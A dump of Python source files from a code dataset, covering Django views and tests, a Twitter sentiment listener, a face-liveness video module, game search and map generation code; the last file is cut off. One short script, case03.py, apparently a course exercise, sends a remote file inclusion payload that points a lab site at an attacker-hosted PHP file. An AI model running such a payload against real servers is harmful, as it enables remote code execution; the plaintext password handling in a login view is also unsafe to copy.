model_number=\"12345\", make_label=cls.asset_make\n )\n\n cls.test_asset = apps.get_model('core', 'Asset').objects.create(\n asset_code=\"IC001\",\n serial_number=\"SN001\",\n model_number=cls.test_assetmodel,\n purchase_date=\"2018-07-10\",\n )\n\n cls.test_asset_2 = apps.get_model('core', 'Asset').objects.create(\n asset_code='IC002',\n serial_number='SN002',\n model_number=cls.test_assetmodel,\n purchase_date=\"2018-07-10\",\n )\n cls.country = apps.get_model('core', 'Country').objects.create(name=\"Nigeria\")\n cls.centre = apps.get_model('core', 'AndelaCentre').objects.create(\n centre_name=\"ET\", country=cls.country\n )\n cls.office_block = apps.get_model('core', 'OfficeBlock').objects.create(\n name='Andela Tower', location=cls.centre\n )\n cls.office_floor = apps.get_model('core', 'OfficeFloor').objects.create(\n block=cls.office_block, number=14\n )\n cls.office_section = apps.get_model(\n 'core', 'OfficeFloorSection'\n ).objects.create(name='Safari', floor=cls.office_floor)\n cls.office_workspace = apps.get_model('core', 'OfficeWorkspace').objects.create(\n name=\"DeveloperA Workspace\", section=cls.office_section\n )\n cls.department = apps.get_model('core', 'Department').objects.create(\n name=\"Finance\"\n )\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n cls.patch_slack_id.stop()\n cls.patch_send_message.stop()\n","sub_path":"core/tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"449394346","text":"from django.shortcuts import render, redirect\n\nfrom RemoteLinux.forms import UserForm\nfrom RemoteLinux.models import User\n# Create your views here.\n\n\ndef login(request):\n\tif request.session.get('is_login', None):\n\t\treturn redirect('index')\n\n\tif request.method == \"POST\":\n\t\tpuser = request.POST.get(\"user\", None)\n\t\tpwd = request.POST.get(\"pwd\", None)\n\t\tNweUser = User.objects.all()\n\t\tif len(NweUser) > 0:\n\t\t\tfor userdata in NweUser:\n\t\t\t\tif userdata.user == puser:\n\t\t\t\t\tuser_pwd = User.objects.get(user=puser)\n\t\t\t\t\tif user_pwd.password == pwd:\n\t\t\t\t\t\trequest.session['is_login'] = True\n\t\t\t\t\t\trequest.session['user_id'] = user_pwd.id\n\t\t\t\t\t\trequest.session['user_name'] = user_pwd.user\n\t\t\t\t\t\treturn redirect(\"index\")\n\t\t\t\t\telse:\n\t\t\t\t\t\terror_msg = \"密码错误,请检查\"\n\t\t\t\t\t\treturn render(request, \"login.html\", {\"error\": error_msg})\n\t\t\terror_msg = \"用户名不存在\"\n\t\t\treturn render(request, \"login.html\", {\"error\": error_msg})\n\t\telse:\n\t\t\terror_msg = \"当前还没有注册用户,快去做第一个注册的人吧\"\n\t\t\treturn render(request, \"login.html\", {\"error\": error_msg})\n\telse:\n\t\treturn render(request, 'login.html')\n\n\ndef index(request):\n\treturn render(request, \"linux/index.html\")\n\n\ndef logout(request):\n\trequest.session['is_login']=False\n\treturn render(request, 'login.html')\n\n\ndef register(request):\n\tif request.method == \"POST\":\n\t\tNweUser = User.objects.all()\n\t\tuser = request.POST.get(\"user\")\n\t\tif len(NweUser) > 0:\n\t\t\tfor userdata in NweUser:\n\t\t\t\tif userdata.user == user:\n\t\t\t\t\terror_msg = \"用户名已经存在\"\n\t\t\t\t\treturn render(request, \"register.html\", {\"error\": error_msg})\n\t\t\tuser_form = UserForm(request.POST)\n\t\t\tpwd1 = request.POST.get(\"password\", None)\n\t\t\tpwd2 = request.POST.get(\"confirm_pwd\", None)\n\t\t\tif user_form.is_valid() and pwd1 == pwd2:\n\t\t\t\tuser_form.save()\n\t\t\t\terror_msg = \"注册成功,可以登录了\"\n\t\t\t\treturn render(request, \"register.html\", {\"error\": error_msg})\n\t\t\telse:\n\t\t\t\terror_msg = \"密码不一致,请重新设置\"\n\t\t\t\treturn render(request, \"register.html\", {\"error\": error_msg})\n\t\telse:\n\t\t\tuser_form = UserForm(request.POST)\n\t\t\tpwd1 = request.POST.get(\"password\", None)\n\t\t\tpwd2 = request.POST.get(\"confirm_pwd\", None)\n\t\t\tif user_form.is_valid() and pwd1 == pwd2:\n\t\t\t\tuser_form.save()\n\t\t\t\terror_msg = \"注册成功,可以登录了\"\n\t\t\t\treturn render(request, \"register.html\", {\"error\": error_msg})\n\t\t\telse:\n\t\t\t\terror_msg = \"密码不一致,请重新设置\"\n\t\t\t\treturn render(request, \"register.html\", {\"error\": error_msg})\n\t\t\terror_msg = \"恭喜,第一个注册的用户\"\n\t\t\treturn render(request, \"login.html\", {\"error\": error_msg})\n\telse:\n\t\treturn render(request, 'register.html')","sub_path":"userprofile/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"520882790","text":"import os\nimport sys\nimport json_data_parser\nimport argparse\n\nfrom utils.logger.logger import Logger, LogType\nfrom database.database_helper import DatabaseHelper, DatabaseHelperException\nfrom server.server import Server\nfrom server.server_handler import ServerHandler\nimport database.model.insert as insert\n\n\ndef main(arguments):\n exit_code = 0\n try:\n arguments = parse_arguments(arguments)\n initialize_system(arguments)\n server_thread = Server((arguments.address, arguments.port))\n server_thread.start()\n while True:\n user_interface()\n except SystemExit as error:\n exit_code = error.code\n except KeyboardInterrupt:\n pass\n finally:\n try:\n close_application(server_thread)\n except NameError:\n close_application(None)\n os._exit(exit_code)\n\n\ndef parse_arguments(arguments):\n parser = argparse.ArgumentParser(arguments[0])\n parser.add_argument(\"-p\", \"--port\", type=int, default=1234, help=\"server port (default 1234)\")\n parser.add_argument(\"-a\", \"--address\", default=\"\", help=\"server addres (default all addreses)\") \n parser.add_argument(\"-i\", \"--initialize\", action=\"store_true\", help=\"if set database will be initialized\")\n parser.add_argument(\"-t\", \"--test-mode\", action=\"store_true\", help=\"if set initialization of database will use test data\")\n parser.add_argument(\"-l\", \"--log-level\", default=\"WARNING\", choices=[\"NONE\", \"INFO\", \"WARNING\", \"ERROR\"], help=\"level of log printed to output (default WARNING)\")\n parser.add_argument(\"--log-prefix\", default=\"log\", help=\"log files name prefix (default log)\")\n parser.add_argument(\"--log-sufix\", default=\".log\", help=\"log files name sufix (default .log)\")\n return parser.parse_args(arguments[1:])\n\n\ndef initialize_system(arguments):\n log = Logger()\n log.print_level = getattr(LogType, arguments.log_level)\n log.log_file_name_prefix = arguments.log_prefix\n log.log_file_name_sufix = arguments.log_sufix\n log.add_entry(LogType.INFO, \"System initialization started\")\n try:\n database = DatabaseHelper()\n except DatabaseHelperException as error:\n log.add_entry(LogType.ERROR, error.message)\n exit(-1)\n if arguments.initialize:\n log.add_entry(LogType.INFO, \"Database initialization started\")\n json_data_parser.fullfill_database(arguments.test_mode)\n log.add_entry(LogType.INFO, \"Database initialization finished\")\n log.add_entry(LogType.INFO, \"System initialization finished\")\n\n\ndef user_interface():\n pass\n\n\ndef close_application(server_thread):\n if server_thread:\n server_thread.shutdown()\n server_thread.join()\n Logger().stop()\n Logger().join()\n \n\nif __name__ == \"__main__\":\n main(sys.argv)","sub_path":"Serwer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"341122172","text":"import tweepy\nimport simplejson as json\nfrom tweepy import OAuthHandler\nfrom textblob import TextBlob\nfrom tweepy import Stream\nfrom tweepy.streaming import StreamListener\n\n#Stream\nclass MyListener(StreamListener):\n\n def __init__(self,api=None):\n super(StreamListener,self).__init__()\n self.num_tweets = 0\n self.subjectivity = 0\n self.polarity = 0\n self.maxTweets = 5\n\n # Everytime recibes a tweet:\n # if 'lang' in data:\n # if json.loads(data)['lang'] == 'en':\n\n def on_data(self,data):\n try:\n with open('Output.json','w') as f:\n if 'lang' in data:\n if json.loads(data)['lang'] == 'en':\n\n text = TextBlob(json.loads(data)['text'])\n sentiment = text.sentiment\n self.polarity += text.sentiment.polarity\n self.subjectivity += text.sentiment.subjectivity\n print(json.loads(data)['text'])\n print('-----')\n f.write(data)\n self.num_tweets += 1\n\n if self.num_tweets < self.maxTweets:\n return True\n else:\n print('Polarity: %s' % str(self.polarity / self.maxTweets))\n print('Subjectivity: %s' % str(self.subjectivity / self.maxTweets))\n return False\n except BaseException as e:\n print('Error on_data: %s' % str(e))\n return True\n \n def on_error(self, status):\n print('Error: ', status)\n return False","sub_path":"Twitter/MyListener.py","file_name":"MyListener.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"150150503","text":"import sys\nwith open(sys.argv[1], 'r') as doc:\n newdoc = open(\"caracters.txt\", 'w+')\n caracters = []\n for lerroa in doc:\n new2line = lerroa.split(\",\")\n for char in new2line[2]:\n if char not in caracters:\n caracters.append(char)\n newdoc.write(str(caracters))","sub_path":"characterDetect.py","file_name":"characterDetect.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"595025056","text":"## @trueFaceDetection Landmark_analysis algorithm\n# Documentation for this module\n#\n# More details\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 16 20:31:12 2018\n\n@author: romai\n\"\"\"\n\nimport cv2\nimport numpy as np\nimport yaml\nimport matplotlib.pyplot as plt\nimport time\nverbose = yaml.load(open(\"../config/params.yaml\"))[\"verbose\"]\nPARAMS = yaml.load(open(\"../config/params.yaml\"))\nPATHS = yaml.load(open(\"../config/paths.yaml\"))\nverbose = True\n\n## Landmark_analysis algorithm.\nclass Eulerian_magnification_live:\n \n ## The constructor.\n # @param self The object pointer.\n # @param mode The mode of the Eulerian magnification\n # @param colorspace The colorspace used during the method\n def __init__(self, mode = \"full_face\", colorspace = \"LAB\"):\n self.nframes = 0 # Total number of frames\n \n self.mode = mode # Full face, or cheekbone (see below)\n self.colorspace = colorspace # Background substraction or not\n self.checkMode()\n self.checkColorspace()\n \n # Crop depending on the mode\n if(mode == \"cheekbone\"):self.crop_bbs = np.array(PARAMS[\"algorithms\"][\"eulerian_magnification\"][\"bounding_box\"][\"cheekbone\"])\n else:self.crop_bbs = np.array([[[0, 512], [0, 512]]])\n \n # Level, faces and backgrounds for the gaussian pyramid\n self.levelSPyr = PARAMS[\"algorithms\"][\"eulerian_magnification\"][\"numSpatialPyr\"]\n self.facesPyrs = None\n self.backgroundsPyrs = None\n \n self.bbs = []\n \n self.freq_min = PARAMS[\"algorithms\"][\"eulerian_magnification\"][\"freq_min\"]\n self.freq_max = PARAMS[\"algorithms\"][\"eulerian_magnification\"][\"freq_max\"]\n \n self.score = np.array([-PARAMS[\"algorithms\"][\"eulerian_magnification\"][\"min_secs\"] for i in range(len(self.crop_bbs))]).astype(float)\n \n ## Store the number of FPS and the maximum number of frames for the method\n # @param self The object pointer.\n # @param fps The number of FPS in the video\n def initFps(self, fps):\n self.fps = fps\n self.maxFrames = int(PARAMS[\"algorithms\"][\"eulerian_magnification\"][\"min_secs\"] * self.fps)\n \n ## Check if the entered mode is correct\n # @param self The object pointer.\n def checkMode(self):\n if(type(self.mode) == str and self.mode in [\"cheekbone\", \"full_face\"]):\n pass\n #if(verbose):print(\"Eulerian_magnification : mode : \" + self.mode)\n else:raise ValueError(\"Unvalid mode for Eulerian_magnification : \" + str(self.mode))\n \n ## Check if the entered colorspace is correct\n # @param self The object pointer.\n def checkColorspace(self):\n if(type(self.colorspace) == str and self.colorspace in [\"BGR\", \"LAB\"]):\n pass\n #if(verbose):print(\"Eulerian_magnification : colorspace : \" + self.colorspace)\n else:raise ValueError(\"Unvalid colorspace for Eulerian_magnification : \" + str(self.colorspace))\n \n ## Add a frame to the list of frames we currently have\n # @param self The object pointer.\n # @param face The restriction of the frame to add to the face\n # @param frame The frame to add\n # @param The bonding boxes to add\n def addFrame(self, face, frame, bb):\n \n # We add compute the foregrounds and backgrounds and add them to the current ones if they exist\n # If we don't have any frame yet, we also compute the number of pixels in the foreground and the background\n if(self.nframes == 0):\n croped_faces = self.cropMode(face)\n self.facesPyrs = np.array([[self.computeGpyr(self.recolor(croped_face)) for croped_face in croped_faces]])\n \n self.backgroundsPyrs = np.array([self.computeGpyr(self.recolor(frame))])\n \n # Number of pixels in the foreground and the background\n self.facesPyrsNpix = self.facesPyrs.shape[1] * self.facesPyrs.shape[2]\n self.backgroundsPyrsNpix = self.backgroundsPyrs.shape[1] * self.backgroundsPyrs.shape[2]\n \n else:\n croped_faces = self.cropMode(face)\n self.facesPyrs = np.append(self.facesPyrs, [[self.computeGpyr(self.recolor(croped_face)) for croped_face in croped_faces]], axis = 0)\n self.backgroundsPyrs = np.append(self.backgroundsPyrs, [self.computeGpyr(self.recolor(frame))], axis = 0)\n \n self.bbs += [bb]\n self.nframes += 1\n \n # If the previous computations result with more frames than the maximum authorized, we reduce the number of frames to it\n # We also update the score every second\n # If there are less frames than the maximum, we update the score which acts as a counter of the remaining time before having enough frames to compute an EM score\n if(self.nframes > self.maxFrames):\n self.facesPyrs = self.facesPyrs[1:]\n self.backgroundsPyrs = self.backgroundsPyrs[1:]\n \n if(self.nframes % int(self.fps) == 0):\n self.updateScore()\n \"\"\"\n plt.imshow(self.facesPyrs[-1])\n plt.show()\n plt.imshow(self.backgroundsPyrs[-1])\n plt.show()\n \"\"\"\n else:\n self.score += 1 / self.fps\n \n ## Crop an image depending on the mode and defined bounding boxes\n # @param self The object pointer. \n # @params image The image to crop\n # @return image The cropped images\n def cropMode(self, image):\n if(self.mode == \"cheekbone\"):\n image = np.array([image[bb[0, 0]: bb[0, 1], bb[1, 0]: bb[1, 1]] for bb in self.crop_bbs])\n else:\n image = np.array([image])\n return image\n \n ## Recolor an image if the colorspace is set to LAB and normalize it\n # @param self The object pointer. \n # @params image The image to recolorize\n # @return image The recolorized image\n def recolor(self, image):\n if(self.colorspace == \"LAB\"):\n return cv2.cvtColor(image, cv2.COLOR_BGR2LAB) / 255.\n elif(self.colorspace == \"BGR\"):\n return image / 255.\n \n ## Generate and return the right level of spatial decomposition\n # @param self The object pointer. \n # @params image The image to decompose spatially\n # @return image The image reduced to the desired level of spatial decomposition\n def computeGpyr(self, image):\n for k in range(self.levelSPyr):\n image = cv2.pyrDown(image)\n return image\n \n ## Compute the minimum rectangle including all of the facetracker's bounding boxes\n # @param self The object pointer. \n def computeBB(self):\n \n # The desired rectangle is computed\n l = np.min([bb.left() for bb in self.bbs]) / 2**self.levelSPyr\n t = np.min([bb.top() for bb in self.bbs]) / 2**self.levelSPyr\n r = np.max([bb.right() for bb in self.bbs]) / 2**self.levelSPyr\n b = np.max([bb.bottom() for bb in self.bbs]) / 2**self.levelSPyr\n \n l_ = max(0, int(l - 0.1 * (r - l)))\n r_ = min(self.backgroundsPyrs.shape[2], int(r + 0.1 * (r - l)))\n t_ = max(0, int(t - 0.2 * (b - t)))\n b_ = min(self.backgroundsPyrs.shape[1], int(b + 0.2 * (b - t)))\n \n self.l, self.r, self.t, self.b = l_, r_, t_, b_\n \n # Compute the ratio of background pixels outside the rectange and set the background pixels in it to zero/empty \n self.fg_bg_prop = (self.backgroundsPyrsNpix - np.abs((self.r - self.l) * (self.b - self.t))) / self.backgroundsPyrsNpix\n self.backgroundsPyrs[:, self.t: self.b, self.l: self.r, :] = 0.\n \n ## Compute the score of the method with a temporal analysis\n # @param self The object pointer.\n def computeTemporal(self):\n self.computeBB()\n \n frequencies = np.fft.fftfreq(len(self.facesPyrs), d=1.0 / self.fps)\n frequencies = np.fft.fftshift(frequencies)\n \n facesFft = np.zeros((len(self.crop_bbs), 3, len(frequencies)))\n backgroundsFft = np.zeros((3, len(frequencies)))\n \n # Compute the Fourier transform amplitudes for the foreground and the background\n for c in range(3):\n for croped in range(len(self.crop_bbs)):\n for px in range(self.facesPyrs.shape[1]):\n for py in range(self.facesPyrs.shape[2]):\n facesFft[croped] += np.abs(np.fft.fftshift(np.fft.fft(self.facesPyrs[:, croped, px, py, c], norm = \"ortho\") / self.fps)) / self.facesPyrsNpix\n for px in range(self.backgroundsPyrs.shape[1]):\n for py in range(self.backgroundsPyrs.shape[2]):\n backgroundsFft += np.abs(np.fft.fftshift(np.fft.fft(self.backgroundsPyrs[:, px, py, c], norm = \"ortho\") / self.fps)) / (self.fg_bg_prop * self.backgroundsPyrsNpix)\n \n backgroundsFft = np.array([backgroundsFft for croped in range(len(self.crop_bbs))])\n \n # Difference between the latter amplitudes\n diffFFt = np.maximum(0.,facesFft - backgroundsFft)\n\n # Restriction to the relevant frequences \n bound_low = (np.abs(frequencies - self.freq_min)).argmin()\n bound_high = (np.abs(frequencies - self.freq_max)).argmin()\n base = diffFFt[:, :, bound_low: bound_high]\n \n # Compute the score on A and B components of the LAB colorspace\n self.score = 10**4 * (np.mean(base[:, 1], axis = -1) + np.mean(base[:, 2], axis = -1)) / 2.\n \n ## Update the score of the method\n # @param self The object pointer.\n def updateScore(self):\n self.computeTemporal()\n \n ## Display the score of the method\n # @param self The object pointer.\n # @param frame The frame to show on screen\n def drawEvolution(self, frame):\n for i, s in enumerate(self.score):\n cv2.putText(frame, \"EM {} : {:.2f}\".format(i, s), (1 * int(frame.shape[1] / 20.), (i + 1) * 2 * int(frame.shape[0] / 20.)),\n cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 4)\n \n\n displaySize = int(frame.shape[1] / 10.)\n croped_faces = self.facesPyrs[-1]\n for i, croped_face in enumerate(croped_faces):\n displayIm = 255 * cv2.resize(croped_face, (displaySize, displaySize))\n pyrshape = displayIm.shape\n frame[frame.shape[0] - pyrshape[0]: frame.shape[0], i * pyrshape[1]:(i + 1) * pyrshape[1]] = displayIm.copy()\n \n displayIm = 255 * cv2.resize(self.backgroundsPyrs[-1], (displaySize, displaySize))\n pyrshape = displayIm.shape\n frame[frame.shape[0] - pyrshape[0] - displaySize:frame.shape[0] - displaySize, 0:pyrshape[1]] = displayIm.copy()\n \n cv2.putText(frame, \"EM\", (1 * int(frame.shape[1] / 40.), 14 * int(frame.shape[0] / 20.)),\n cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 4)","sub_path":"code/algorithms/eulerian_magnification_v2_live.py","file_name":"eulerian_magnification_v2_live.py","file_ext":"py","file_size_in_byte":10914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"340112687","text":"import torch.utils.data as data\nimport h5py\nimport numpy as np\nfrom utils import *\nimport torch\nclass FMCC_Dataset(data.Dataset):\n def __init__(self,label_path,data_path,word_path,lexcon_path):\n\n self.data_path = data_path\n self.label_path = label_path\n h5_data = h5py.File(data_path)\n self.data = h5_data['mfcc']\n self.word_path = word_path\n self.words = read_words_file(word_path)\n self.num_words = len(self.words)\n self.lexcon_path = lexcon_path\n fi = h5py.File(self.label_path, 'r')\n data = fi['labels']\n labels = np.zeros(np.shape(data)).astype('int')\n data.read_direct(labels)\n\n newlabels = np.zeros((len(data), self.num_words + 2)).astype('int')\n alldx = []\n wordidx = []\n i = 0\n for W in self.words:\n dx = get_lexicon_id(W,self.lexcon_path)\n wordidx.append(dx)\n tmp = np.where(labels == dx)[0]\n alldx += list(tmp)\n newlabels[tmp, i] = 1\n i += 1\n dx = get_lexicon_id('sil',self.lexcon_path)\n tmp = np.where(labels == dx)[0]\n alldx += list(tmp)\n newlabels[tmp, self.num_words] = 1\n\n tmp = np.arange(len(labels))\n tmp = np.delete(tmp, alldx)\n newlabels[tmp, self.num_words + 1] = 1\n fi.close()\n self.label = newlabels\n\n def __len__(self):\n return (len(self.data))\n\n def __getitem__(self, idx):\n label = self.label[idx]\n label =label.reshape(1,-1)\n data = self.data [idx]\n data = data.reshape(13,-1)\n label = torch.Tensor(label)\n label_idx = torch.max(label,1)[1]\n sampel = {'data':torch.Tensor(data),'label':label_idx.item()}\n return sampel","sub_path":"FMCC_Dataset.py","file_name":"FMCC_Dataset.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"6744460","text":"#\n'''\n Class gameProblem, implements simpleai.search.SearchProblem\n'''\n\n\n\n\n#ALMOST THERE !! let it run for a while, just missing 3,2. prob something wrong with water command or something\n\n\nfrom simpleai.search import SearchProblem\nimport simpleai.search\nimport math\n\nclass GameProblem(SearchProblem):\n\n # Object attributes, can be accessed in the methods below\n \n MAP=None\n POSITIONS=None\n INITIAL_STATE=None\n GOAL=None\n CONFIG=None\n AGENT_START=None\n \n\n # --------------- Common functions to a SearchProblem -----------------\n \n \n def actions(self, state):\n \n '''Returns a LIST of the actions that may be executed in this state\n '''\n print(\"Start Action Method \\n\")\n # N E S W unless on border or near water...\n actions = []\n \n #check that actionsa are within bounds(of grid) and that it is not water\n curr_pos = state[0];\n print(\"Current position, \" , curr_pos)\n if curr_pos[0] > 0 and self.getAttribute((curr_pos[0]-1,curr_pos[1]),'marker')!='S':\n actions.append('West')\n if curr_pos[0] < self.CONFIG['map_size'][0]-1 and self.getAttribute((curr_pos[0]+1,curr_pos[1]),'marker')!='S':\n actions.append('East');\n if curr_pos[1] > 0 and self.getAttribute((curr_pos[0],curr_pos[1]-1),'marker')!='S':\n actions.append('North')\n if curr_pos[1] < self.CONFIG['map_size'][1]-1 and self.getAttribute((curr_pos[0],curr_pos[1]+1),'marker')!='S':\n actions.append('South')\n \n print(\"Actions Available: \" , actions)\n return actions\n \n\n def result(self, state, action):\n #Returns the state reached from this state when the given action is executed\n \n \n #convert tuple to a list, get current location, and \"apply\" each action to it.\n newstate = list((state))\n curr_loc = list(newstate[0])\n if action=='North':\n curr_loc[1]-=1 \n if action == 'East':\n curr_loc[0]+=1\n if action == 'South':\n curr_loc[1]+=1\n if action == 'West':\n curr_loc[0]-=1\n \n #1) \n #update current location\n newstate[0] = tuple(curr_loc)\n #2 if at goal state, add it to goals reached(if not duplicate)\n if tuple(curr_loc) not in state[1] and tuple(curr_loc) in self.GOAL:\n goals_so_far = list(newstate[1])\n goals_so_far.append(tuple(curr_loc))\n newstate[1] = tuple(goals_so_far)\n print(\"New Action State:\", newstate)\n return tuple(newstate)\n\n def is_goal(self, state):\n \n '''Returns true if state is the final state\n '''\n \n #check if each of the goal traversals are in the current state.\n goals_reached = state[1]\n \n return set(goals_reached) ==set(self.GOAL)\n\n \n # return False\n def cost(self, state, action, state2):\n '''Returns the cost of applying `action` from `state` to `state2`.\n The returned value is a number (integer or floating point).\n By default this function returns `1`.\n '''\n return 1\n\n def heuristic(self, state):\n '''Returns the heuristic for `state`\n '''\n \n \n \n # we will check Euclidian distance on each goal point still on graph and choose smallest\n remaining_goals = []\n for i in self.GOAL:\n if i not in state[1]:\n remaining_goals.append(i)\n \n minval = 999999999 #'max' val, as min distance wont be higher than this\n if remaining_goals != []: \n print(\"REM\", remaining_goals)\n for i in list(remaining_goals):\n #have to do this weird thing to make POSITIONS a tuple\n curr_loc = state[0]\n dist = math.hypot(curr_loc[1] - i[1], curr_loc[0] - i[0])\n print(dist)\n print(\"distance \", dist)\n if dist < minval:\n minval = dist\n \n print('Heuristic for state ' , state , ' IS:' , minval)\n return minval;\n\n return 0\n def setup (self):\n \n print ('\\nMAP: ', self.MAP, '\\n')\n print ('POSITIONS: ', self.POSITIONS, '\\n')\n print ('CONFIG: ', self.CONFIG, '\\n')\n \n \n #State is a tuple of tuples(of different length): ((Current location),(Goals left))\n initial_state = ((self.POSITIONS['drone'][0]),()) \n \n \n \n # final state only the second part of the tuple matters, so is_goal checks that state[1] contains all the values in the tuple below. \n final_state= (self.POSITIONS.get(\"goal\"))\n \n #caant hard code goals. will read from map.txt file\n \n \n algorithm= simpleai.search.astar\n \n return initial_state,final_state,algorithm\n\n\n \n # -------------------------------------------------------------- #\n # --------------- DO NOT EDIT BELOW THIS LINE ----------------- #\n # -------------------------------------------------------------- #\n \n def getAttribute (self, position, attributeName):\n '''Returns an attribute value for a given position of the map\n position is a tuple (x,y)\n attributeName is a string\n \n Returns:\n None if the attribute does not exist\n Value of the attribute otherwise\n '''\n tileAttributes=self.MAP[position[0]][position[1]][2]\n if attributeName in tileAttributes.keys():\n return tileAttributes[attributeName]\n else:\n return None\n \n # THIS INITIALIZATION FUNCTION HAS TO BE CALLED BEFORE THE SEARCH\n def initializeProblem(self,map,positions,conf,aiBaseName):\n \n # Loads the problem attributes: self.AGENT_START, self.POSITIONS,etc.\n if self.mapInitialization(map,positions,conf,aiBaseName):\n \n initial_state,final_state,algorithm = self.setup()\n \n self.INITIAL_STATE=initial_state\n self.GOAL=final_state\n self.ALGORITHM=algorithm\n super(GameProblem,self).__init__(self.INITIAL_STATE)\n \n return True\n else:\n return False\n \n # END initializeProblem \n\n\n def mapInitialization(self,map,positions,conf,aiBaseName):\n # Creates lists of positions from the configured map\n # The initial position for the agent is obtained from the first and only aiBaseName tile\n self.MAP=map\n self.POSITIONS=positions\n self.CONFIG=conf\n\n if 'agentInit' in conf.keys():\n self.AGENT_START = tuple(conf['agentInit'])\n else: \n if aiBaseName in self.POSITIONS.keys():\n if len(self.POSITIONS[aiBaseName]) == 1:\n self.AGENT_START = self.POSITIONS[aiBaseName][0]\n else:\n print ('-- INITIALIZATION ERROR: There must be exactly one agent location with the label \"{0}\", found several at {1}'.format(aiAgentName,mapaPosiciones[aiAgentName]))\n return False\n else:\n print ('-- INITIALIZATION ERROR: There must be exactly one agent location with the label \"{0}\"'.format(aiBaseName))\n return False\n \n return True\n \n\n","sub_path":"student/gameProblem.py","file_name":"gameProblem.py","file_ext":"py","file_size_in_byte":7428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"628839465","text":"# Imports\nimport urllib, urllib2, webbrowser\n\nurl = 'http://www.wsb.com/Assignment2/case03/case03.php'\n\n# Prepare the value of the form which includes the attack payload\nvalue = dict(LANG='http://www.attacker.com/Assignment2/rfi.txt.php')\ndata = urllib.urlencode(value)\n\n# Submit the form\nreq = urllib2.Request(url, data)\nrsp = urllib2.urlopen(req)\n\n# Read the return result\ncontent = rsp.read()\n\n# Close socket\nrsp.close()\n\n# Write the response to a new HTML page\nwith open('case03.html','w') as fileWriter:\n fileWriter.write(content)\n\nurl = \"case03.html\"\n\n# Open the response page in a new tab\nwebbrowser.get('firefox').open_new_tab(url)\n","sub_path":"case03.py","file_name":"case03.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"415041785","text":"import random\n\nfrom flax.geometry import Point, Rectangle, Size\nfrom flax.map import Map\nfrom flax.entity import CaveWall, Wall, Floor, Tree, Grass, CutGrass, Dirt, Player, Salamango, Armor\n\n\nclass MapCanvas:\n def __init__(self, size):\n self.rect = size.to_rect(Point.origin())\n\n self.arch_grid = {point: CaveWall for point in self.rect.iter_points()}\n self.item_grid = {point: [] for point in self.rect.iter_points()}\n self.creature_grid = {point: None for point in self.rect.iter_points()}\n\n def draw_room(self, rect):\n assert rect in self.rect\n\n for point in rect.iter_points():\n self.arch_grid[point] = random.choice([Floor, CutGrass, CutGrass, Grass])\n\n # Top and bottom\n for x in rect.range_width():\n self.arch_grid[Point(x, rect.top)] = Wall\n self.arch_grid[Point(x, rect.bottom)] = Wall\n\n # Left and right (will hit corners again, whatever)\n for y in rect.range_height():\n self.arch_grid[Point(rect.left, y)] = Wall\n self.arch_grid[Point(rect.right, y)] = Wall\n\n def find_floor_points(self):\n for point, arch in self.arch_grid.items():\n # TODO surely other things are walkable\n # TODO maybe this should be a more general method\n # TODO also should exclude a point with existing creature\n if arch is Floor:\n yield point\n\n def to_map(self):\n map = Map(self.rect.size)\n\n for point in self.rect.iter_points():\n map.place(self.arch_grid[point](), point)\n for item_type in self.item_grid[point]:\n map.place(item_type(), point)\n if self.creature_grid[point]:\n map.place(self.creature_grid[point](), point)\n\n return map\n\n\ndef random_rect_in_rect(area, size):\n \"\"\"Return a rectangle created by randomly placing the given size within the\n given area.\n \"\"\"\n top = random.randint(area.top, area.bottom - size.height + 1)\n left = random.randint(area.left, area.right - size.width + 1)\n\n return Rectangle(Point(left, top), size)\n\n\nclass Fractor:\n def __init__(self, map_canvas, region=None):\n self.map_canvas = map_canvas\n if region is None:\n self.region = map_canvas.rect\n else:\n self.region = region\n\n def refract(self, fractor_cls, **kwargs):\n return fractor_cls(self.map_canvas, self.region, **kwargs)\n\n def generate_room(self):\n room_size = Size(5, 5)\n room_rect = random_rect_in_rect(self.region, room_size)\n self.map_canvas.draw_room(room_rect)\n\n def place_player(self):\n floor_points = list(self.map_canvas.find_floor_points())\n assert floor_points, \"can't place player with no open spaces\"\n points = random.sample(floor_points, 3)\n self.map_canvas.creature_grid[points[0]] = Player\n self.map_canvas.creature_grid[points[1]] = Salamango\n self.map_canvas.item_grid[points[2]].append(Armor)\n\n\nclass BinaryPartitionFractor(Fractor):\n def __init__(self, *args, minimum_size):\n super().__init__(*args)\n self.minimum_size = minimum_size\n\n # TODO i feel like this class doesn't quite... do... anything. all it\n # will ever do is spit out a list of other regions, and it has to construct\n # a bunch of other copies of itself to do that...\n\n def maximally_partition(self):\n # TODO this should preserve the tree somehow, so a hallway can be drawn\n # along the edges\n regions = [self.region]\n final_regions = []\n\n while regions:\n nonfinal_regions = []\n for region in regions:\n fractor = BinaryPartitionFractor(\n self.map_canvas,\n region,\n minimum_size=self.minimum_size,\n )\n new_regions = fractor.partition()\n if len(new_regions) > 1:\n nonfinal_regions.extend(new_regions)\n else:\n final_regions.extend(new_regions)\n\n regions = nonfinal_regions\n\n return final_regions\n\n def partition(self):\n possible_directions = []\n\n # TODO this needs a chance to stop before hitting the minimum size\n\n if self.region.height >= self.minimum_size.height * 2:\n 